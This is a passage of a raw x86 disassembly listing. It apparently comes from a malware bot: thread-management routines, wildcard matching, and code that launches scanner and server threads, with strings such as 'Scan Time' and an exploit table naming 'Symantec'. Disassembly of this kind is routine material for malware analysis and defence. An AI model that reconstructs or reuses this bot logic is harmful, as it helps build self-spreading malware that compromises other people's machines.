loc_40B2B9 cmp esi, 400h jge short loc_40B2B9 imul esi, 234h push edi push ebx push dword_43DEF4[esi] lea edi, dword_43DEF4[esi] nop call near ptr 26806FFh cmp [edi], ebx jz short loc_40B269 push 1 pop ebp loc_40B269: ; CODE XREF: sub_40B231+33j mov [edi], ebx lea edi, dword_43DEE8[esi] mov dword_43DEE0[esi], ebx mov dword_43DEE4[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B28A push eax call sub_4199C9 pop ecx loc_40B28A: ; CODE XREF: sub_40B231+50j mov [edi], ebx lea edi, dword_43DEEC[esi] mov byte ptr dword_43DCE0[esi], bl mov byte_43DEF8[esi], bl push dword ptr [edi] call dword_4CB03C lea esi, dword_43DEF0[esi] mov [edi], ebx push dword ptr [esi] call dword_4CB03C mov [esi], ebx pop edi loc_40B2B9: ; CODE XREF: sub_40B231+Dj ; sub_40B231+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B231 endp ; =============== S U B R O U T I N E ======================================= sub_40B2BF proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43DCE0 loc_40B2CB: ; CODE XREF: sub_40B2BF+2Aj cmp byte ptr [esi], 0 jz short loc_40B2DC push edi call sub_40B231 test eax, eax pop ecx jz short loc_40B2DC inc ebx loc_40B2DC: ; CODE XREF: sub_40B2BF+Fj ; sub_40B2BF+1Aj add esi, 234h inc edi cmp esi, offset dword_4CACE0 jl short loc_40B2CB pop edi mov eax, ebx pop esi pop ebx retn sub_40B2BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2F1 proc near ; CODE XREF: sub_401ACD+418Ep ; sub_401ACD+42E0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43DEE4 loc_40B305: ; CODE XREF: sub_40B2F1+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B327 test edi, edi jle short loc_40B319 cmp [esi], edi jz short loc_40B319 cmp ebx, edi jnz short loc_40B327 loc_40B319: ; CODE XREF: sub_40B2F1+1Ej ; sub_40B2F1+22j push ebx call sub_40B231 test eax, eax pop ecx jz short loc_40B327 inc [ebp+var_4] loc_40B327: ; CODE XREF: sub_40B2F1+1Aj ; sub_40B2F1+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CAEE4 jl short loc_40B305 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B2F1 endp ; =============== S U B R O U T I N E ======================================= sub_40B33E proc near ; CODE XREF: ___:00401630p ; sub_401ACD+97Ap ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43DEE0 loc_40B345: ; CODE XREF: sub_40B33E+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B34E inc eax loc_40B34E: ; CODE XREF: sub_40B33E+Dj add ecx, 234h cmp ecx, offset dword_4CAEE0 jl short loc_40B345 retn sub_40B33E endp ; =============== S U B R O U T I N E ======================================= sub_40B35D proc near ; CODE XREF: sub_401ACD+2433p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43DEE0 loc_40B367: ; CODE XREF: sub_40B35D+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B380 add ecx, 234h inc edx cmp ecx, offset dword_4CAEE0 jl short loc_40B367 pop esi retn ; --------------------------------------------------------------------------- loc_40B380: ; CODE XREF: sub_40B35D+10j mov eax, edx pop esi retn sub_40B35D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B384 proc near ; CODE XREF: sub_401ACD+1066p ; sub_401ACD+126Cp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B39D push [ebp+arg_1C] call sub_41B779 pop ecx loc_40B39D: ; CODE XREF: sub_40B384+Ej push eax push [ebp+arg_18] call sub_40B2F1 pop ecx test eax, eax pop ecx jle short loc_40B3C9 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41B886 add esp, 14h jmp short loc_40B3E3 ; --------------------------------------------------------------------------- loc_40B3C9: ; CODE XREF: sub_40B384+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41B886 add esp, 10h loc_40B3E3: ; CODE XREF: sub_40B384+43j cmp [ebp+arg_C], 0 jnz short loc_40B403 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40B403: ; CODE XREF: sub_40B384+63j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx leave retn sub_40B384 endp ; =============== S U B R O U T I N E ======================================= sub_40B412 proc near ; CODE XREF: sub_4017ED+159p ; ___:0040BA47p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43DEF4[eax], ecx mov dword_43DEE0[eax], ecx mov dword_43DEE4[eax], ecx mov dword_43DEE8[eax], ecx mov dword_43DEEC[eax], ecx mov dword_43DEF0[eax], ecx mov byte ptr dword_43DCE0[eax], cl mov byte_43DEF8[eax], cl retn sub_40B412 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B44F proc near ; CODE XREF: sub_401ACD+7E3Bp ; sub_40B57D+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B459: ; CODE XREF: sub_40B44F+68j mov cl, [esi] test cl, cl jz short loc_40B4B9 cmp eax, 1 jnz short loc_40B4B9 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B4B9 cmp cl, 2Ah jz short loc_40B4A0 cmp cl, 3Fh jz short loc_40B483 cmp cl, 5Bh jz short loc_40B488 xor eax, eax cmp cl, dl setz al loc_40B483: ; CODE XREF: sub_40B44F+26j inc [ebp+arg_4] jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B488: ; CODE XREF: sub_40B44F+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B4E5 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B4A0: ; CODE XREF: sub_40B44F+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B57D mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B4B3: ; CODE XREF: sub_40B44F+37j ; sub_40B44F+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B459 ; --------------------------------------------------------------------------- loc_40B4B9: ; CODE XREF: sub_40B44F+Ej ; sub_40B44F+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B4C9 cmp eax, 1 jnz short loc_40B4E0 inc esi mov [ebp+arg_0], esi jmp short loc_40B4B9 ; --------------------------------------------------------------------------- loc_40B4C9: ; CODE XREF: sub_40B44F+6Dj cmp eax, 1 jnz short loc_40B4E0 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B4E0 cmp byte ptr [esi], 0 jnz short loc_40B4E0 push 1 pop eax jmp short loc_40B4E2 ; --------------------------------------------------------------------------- loc_40B4E0: ; CODE XREF: sub_40B44F+72j ; sub_40B44F+7Dj ... xor eax, eax loc_40B4E2: ; CODE XREF: sub_40B44F+8Fj pop esi pop ebp retn sub_40B44F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4E5 proc near ; CODE XREF: sub_40B44F+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B506 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B506: ; CODE XREF: sub_40B4E5+19j push ebx push esi loc_40B508: ; CODE XREF: sub_40B4E5+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B516 cmp [ebp+var_4], eax jnz short loc_40B562 loc_40B516: ; CODE XREF: sub_40B4E5+2Aj test edi, edi jnz short loc_40B557 cmp bl, 2Dh jnz short loc_40B54B mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B54B cmp al, 5Dh jz short loc_40B54B cmp [ebp+var_4], edi jnz short loc_40B54B mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B557 cmp bl, al jg short loc_40B557 push 1 mov [edx], esi pop edi jmp short loc_40B557 ; --------------------------------------------------------------------------- loc_40B54B: ; CODE XREF: sub_40B4E5+38j ; sub_40B4E5+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B557 push 1 pop edi loc_40B557: ; CODE XREF: sub_40B4E5+33j ; sub_40B4E5+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B508 ; --------------------------------------------------------------------------- loc_40B562: ; CODE XREF: sub_40B4E5+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B56F mov ecx, eax sub ecx, edi mov edi, ecx loc_40B56F: ; CODE XREF: sub_40B4E5+82j cmp edi, eax jnz short loc_40B578 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B578: ; CODE XREF: sub_40B4E5+8Cj mov eax, edi pop edi leave retn sub_40B4E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B57D proc near ; CODE XREF: sub_40B44F+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B599: ; CODE XREF: sub_40B57D+3Aj cmp [eax], bl jz short loc_40B5B9 mov cl, [ecx] cmp cl, 3Fh jz short loc_40B5AE cmp cl, 2Ah jnz short loc_40B5B9 cmp cl, 3Fh jnz short loc_40B5B1 loc_40B5AE: ; CODE XREF: sub_40B57D+25j inc eax mov [edi], eax loc_40B5B1: ; CODE XREF: sub_40B57D+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B599 ; --------------------------------------------------------------------------- loc_40B5B9: ; CODE XREF: sub_40B57D+1Ej ; sub_40B57D+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B5C4 inc dword ptr [esi] jmp short loc_40B5B9 ; --------------------------------------------------------------------------- loc_40B5C4: ; CODE XREF: sub_40B57D+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B5E5 mov edx, [esi] cmp [edx], bl jz short loc_40B5D6 xor eax, eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5D6: ; CODE XREF: sub_40B57D+53j cmp cl, bl jnz short loc_40B5E5 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B5E5 push 1 pop eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5E5: ; CODE XREF: sub_40B57D+4Dj ; sub_40B57D+5Bj ... push eax push dword ptr [esi] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_40B62F loc_40B5F3: ; CODE XREF: sub_40B57D+B0j inc dword ptr [edi] mov eax, [edi] loc_40B5F7: ; CODE XREF: sub_40B57D+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B60F cmp cl, 5Bh jz short loc_40B60F cmp dl, bl jz short loc_40B60F inc eax mov [edi], eax jmp short loc_40B5F7 ; --------------------------------------------------------------------------- loc_40B60F: ; CODE XREF: sub_40B57D+82j ; sub_40B57D+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B626 push eax push dword ptr [esi] call sub_40B44F neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B62B ; --------------------------------------------------------------------------- loc_40B626: ; CODE XREF: sub_40B57D+96j mov [ebp+var_4], ebx xor eax, eax loc_40B62B: ; CODE XREF: sub_40B57D+A7j cmp eax, ebx jnz short loc_40B5F3 loc_40B62F: ; CODE XREF: sub_40B57D+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B642 mov eax, [esi] cmp [eax], bl jnz short loc_40B642 mov [ebp+var_4], 1 loc_40B642: ; CODE XREF: sub_40B57D+B6j ; sub_40B57D+BCj mov eax, [ebp+var_4] loc_40B645: ; CODE XREF: sub_40B57D+57j ; sub_40B57D+66j pop edi pop esi pop ebx leave retn sub_40B57D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B64A proc near ; CODE XREF: sub_401ACD+2AF5p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_4317DC push eax xor ebx, ebx call sub_41B886 cmp dword_431440, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B6BC push esi mov esi, offset dword_431448 loc_40B67D: ; CODE XREF: sub_40B64A+6Fj mov eax, [esi] test eax, eax jbe short loc_40B6B2 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_4317D0 push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 add esp, 1Ch loc_40B6B2: ; CODE XREF: sub_40B64A+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B67D pop esi loc_40B6BC: ; CODE XREF: sub_40B64A+2Bj push dword_4CACE4 call sub_41A88B pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 34h pop edi pop ebx leave retn sub_40B64A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B719 proc near ; CODE XREF: sub_401ACD+2ADFp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CDAB0 mov ecx, dword_4CDAAC push esi push dword_4CACE4 lea esi, [ecx+eax] call sub_41A88B pop ecx push eax push esi push dword_4CDAB0 lea eax, [ebp+var_200] push dword_4CDAAC push offset unk_4317FC push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 30h pop esi leave retn sub_40B719 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B785 proc near ; CODE XREF: sub_401ACD+2AC9p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CACE4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_200] push dword_4CDCF4 push offset unk_431844 push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 28h leave retn sub_40B785 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7DA proc near ; CODE XREF: sub_401ACD+2AB3p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push edi lea eax, [ebp+var_800] push offset dword_431890 push eax call sub_41B886 cmp dword_431440, 0 pop ecx pop ecx mov edi, 800h jz short loc_40B846 push esi mov esi, offset aSymantec ; "Symantec" loc_40B80F: ; CODE XREF: sub_40B7DA+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431880 push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40B80F pop esi loc_40B846: ; CODE XREF: sub_40B7DA+2Dj push dword_4CACE4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_800] push eax call sub_4151AC add esp, 30h pop edi leave retn sub_40B7DA endp ; --------------------------------------------------------------------------- byte_40B8A1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+30E0o ; --------------------------------------------------------------------------- sub esp, 3F0h mov eax, [ebp+8] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp-134h] push eax call dword_4CAFE4 xor edi, edi mov [ebp-8], eax cmp dword_431440, edi mov [ebp-4], edi mov [ebp+8], edi jz loc_40BA03 mov ebx, offset dword_431440 mov eax, ebx loc_40B8F2: ; CODE XREF: ___:0040B9FDj push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C087 add esp, 0Ch cmp eax, 1 jnz loc_40B9F3 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_4318E0 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC add esp, 2Ch lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41B886 pop ecx lea eax, [ebp-15Ch] pop ecx push esi push eax call sub_41B886 cmp byte ptr [ebp-0A4h], 0 pop ecx pop ecx lea eax, [ebp-0A4h] jnz short loc_40B98E lea eax, [ebp-124h] loc_40B98E: ; CODE XREF: ___:0040B986j push eax lea eax, [ebp-1DCh] push eax call sub_41B886 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40B9F3: ; CODE XREF: ___:0040B905j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40B8F2 loc_40BA03: ; CODE XREF: ___:0040B8E5j push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_4318AC push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 add esp, 2Ch push edi ; --------------------------------------------------------------------------- dd 2C45ABE8h db 2, 90h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA56 proc near ; CODE XREF: sub_401ACD+244Ep var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B33E test eax, eax pop ecx jle short loc_40BA92 mov eax, [ebp+arg_C] push dword_4CB0F0[eax*8] call dword_4CB030 push eax lea eax, [ebp+var_200] push offset unk_431930 push eax call sub_41B886 add esp, 0Ch jmp short loc_40BAA5 ; --------------------------------------------------------------------------- loc_40BA92: ; CODE XREF: sub_40BA56+13j lea eax, [ebp+var_200] push offset unk_431910 push eax call sub_41B886 pop ecx pop ecx loc_40BAA5: ; CODE XREF: sub_40BA56+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 18h leave retn sub_40BA56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BACD proc near ; CODE XREF: sub_40C124+267p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40BF9F shl eax, 6 xor ebx, ebx cmp dword_43144C[eax], ebx jz loc_40BF9F push 5 call sub_40B33E test eax, eax pop ecx jnz loc_40BD54 mov eax, dword_429078 push edi mov esi, offset dword_4CD1AC push 104h push esi push ebx mov dword_4CD3BC, eax mov dword_4CD3B8, ebx nop call near ptr 2660000h mov edi, offset byte_429108 push 103h push edi push offset dword_4CD2B0 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD1A8, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CD440, eax jnz short loc_40BB80 lea eax, [ebp+arg_10] push eax push offset dword_4CD3C0 call sub_41B5F0 add esp, 0Ch mov dword_4CD444, 1 jmp short loc_40BB9A ; --------------------------------------------------------------------------- loc_40BB80: ; CODE XREF: sub_40BACD+94j lea eax, [ebp+arg_90] push eax push offset dword_4CD3C0 call sub_41B5F0 add esp, 0Ch mov dword_4CD444, ebx loc_40BB9A: ; CODE XREF: sub_40BACD+B1j push esi lea eax, [ebp+var_204] push dword_4CD3BC push offset unk_42BE90 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD3B4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD1A8 push offset word_411796 push ebx push ebx nop call near ptr 2660D86h mov ecx, dword_4CD3B4 imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40BC08 loc_40BBF6: ; CODE XREF: sub_40BACD+139j cmp dword_4CD448, ebx jnz short loc_40BC23 push 32h nop call near ptr 2660D05h jmp short loc_40BBF6 ; --------------------------------------------------------------------------- loc_40BC08: ; CODE XREF: sub_40BACD+127j nop call near ptr 267064Ch push eax lea eax, [ebp+var_204] push offset unk_431A50 push eax call sub_41B886 add esp, 0Ch loc_40BC23: ; CODE XREF: sub_40BACD+12Fj lea eax, [ebp+var_204] push eax call sub_4151AC mov eax, dword_4CACE0 mov esi, offset dword_4CD454 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CD664, eax mov dword_4CD660, ebx nop call near ptr 2660000h push 103h push edi push offset dword_4CD558 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD450, eax mov eax, [ebp+arg_138] pop edi mov dword_4CD6E8, eax push 7Fh jnz short loc_40BCA4 lea eax, [ebp+arg_10] push eax push offset dword_4CD668 call sub_41B5F0 add esp, 0Ch mov dword_4CD6EC, 1 jmp short loc_40BCBE ; --------------------------------------------------------------------------- loc_40BCA4: ; CODE XREF: sub_40BACD+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CD668 call sub_41B5F0 add esp, 0Ch mov dword_4CD6EC, ebx loc_40BCBE: ; CODE XREF: sub_40BACD+1D5j push esi lea eax, [ebp+var_204] push dword_4CD664 push offset unk_431A1C push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD65C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD450 push offset byte_40E991 push ebx push ebx call near ptr 2660D86h nop mov ecx, dword_4CD65C imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40BD2C loc_40BD1A: ; CODE XREF: sub_40BACD+25Dj cmp dword_4CD6F0, ebx jnz short loc_40BD47 push 32h nop call near ptr 2660D05h jmp short loc_40BD1A ; --------------------------------------------------------------------------- loc_40BD2C: ; CODE XREF: sub_40BACD+24Bj nop call near ptr 267064Ch push eax lea eax, [ebp+var_204] push offset unk_4319E8 push eax call sub_41B886 add esp, 0Ch loc_40BD47: ; CODE XREF: sub_40BACD+253j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BD54: ; CODE XREF: sub_40BACD+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_431454[ecx], ebx jz loc_40BE7D push 7 call sub_40B33E test eax, eax pop ecx jnz loc_40BE77 mov eax, dword_4CDCEC cmp [ebp+arg_90], bl mov dword_4CD114, eax mov eax, [ebp+arg_110] mov dword_4CD108, eax mov eax, [ebp+arg_138] mov dword_4CD110, ebx mov dword_4CD198, eax push 7Fh jnz short loc_40BDC8 lea eax, [ebp+arg_10] push eax push offset dword_4CD118 call sub_41B5F0 add esp, 0Ch mov dword_4CD19C, 1 jmp short loc_40BDE2 ; --------------------------------------------------------------------------- loc_40BDC8: ; CODE XREF: sub_40BACD+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CD118 call sub_41B5F0 add esp, 0Ch mov dword_4CD19C, ebx loc_40BDE2: ; CODE XREF: sub_40BACD+2F9j push dword_4CD114 lea eax, [ebp+var_204] push offset unk_4319B8 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B0F6 add esp, 18h mov dword_4CD10C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD108 push offset byte_40E6EF push ebx push ebx nop call near ptr 2660D86h mov ecx, dword_4CD10C imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40BE4F loc_40BE3D: ; CODE XREF: sub_40BACD+380j cmp dword_4CD1A0, ebx jnz short loc_40BE6A push 32h nop call near ptr 2660D05h jmp short loc_40BE3D ; --------------------------------------------------------------------------- loc_40BE4F: ; CODE XREF: sub_40BACD+36Ej nop call near ptr 267064Ch push eax lea eax, [ebp+var_204] push offset unk_431980 push eax call sub_41B886 add esp, 0Ch loc_40BE6A: ; CODE XREF: sub_40BACD+376j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BE77: ; CODE XREF: sub_40BACD+2A8j mov eax, [ebp+arg_130] loc_40BE7D: ; CODE XREF: sub_40BACD+298j shl eax, 6 cmp dword_431450[eax], ebx jz loc_40BF9F push 3 call sub_40B33E test eax, eax pop ecx jnz loc_40BF9F mov esi, offset dword_4CD984 push 104h push esi push ebx nop call near ptr 2660000h push 5Ch push esi call sub_41BE40 pop ecx cmp eax, ebx pop ecx jz short loc_40BEBE mov [eax], bl loc_40BEBE: ; CODE XREF: sub_40BACD+3EDj mov eax, dword_42907C mov dword_4CDA9C, ebx mov dword_4CDA88, eax lea eax, [ebp+arg_10] push eax push offset dword_4CD6FC call sub_41B886 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CD6F8, eax mov ecx, [ebp+arg_138] push esi push dword_4CDA88 mov dword_4CDA94, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CDA98, ecx call sub_40AC0F pop ecx push eax lea eax, [ebp+var_204] push offset unk_42BE18 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B0F6 add esp, 20h mov dword_4CDA90, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD6F8 push offset sub_40F0D5 push ebx push ebx call near ptr 2660D86h nop mov ecx, dword_4CDA90 imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40BF77 loc_40BF65: ; CODE XREF: sub_40BACD+4A8j cmp dword_4CDAA4, ebx jnz short loc_40BF92 push 32h call near ptr 2660D05h nop jmp short loc_40BF65 ; --------------------------------------------------------------------------- loc_40BF77: ; CODE XREF: sub_40BACD+496j call near ptr 267064Ch nop push eax lea eax, [ebp+var_204] push offset unk_43194C push eax call sub_41B886 add esp, 0Ch loc_40BF92: ; CODE XREF: sub_40BACD+49Ej lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BF9F: ; CODE XREF: sub_40BACD+14j ; sub_40BACD+25j ... pop esi pop ebx leave retn sub_40BACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFA3 proc near ; CODE XREF: sub_40C124:loc_40C195p arg_0 = dword ptr 8 push ebp mov ebp, esp 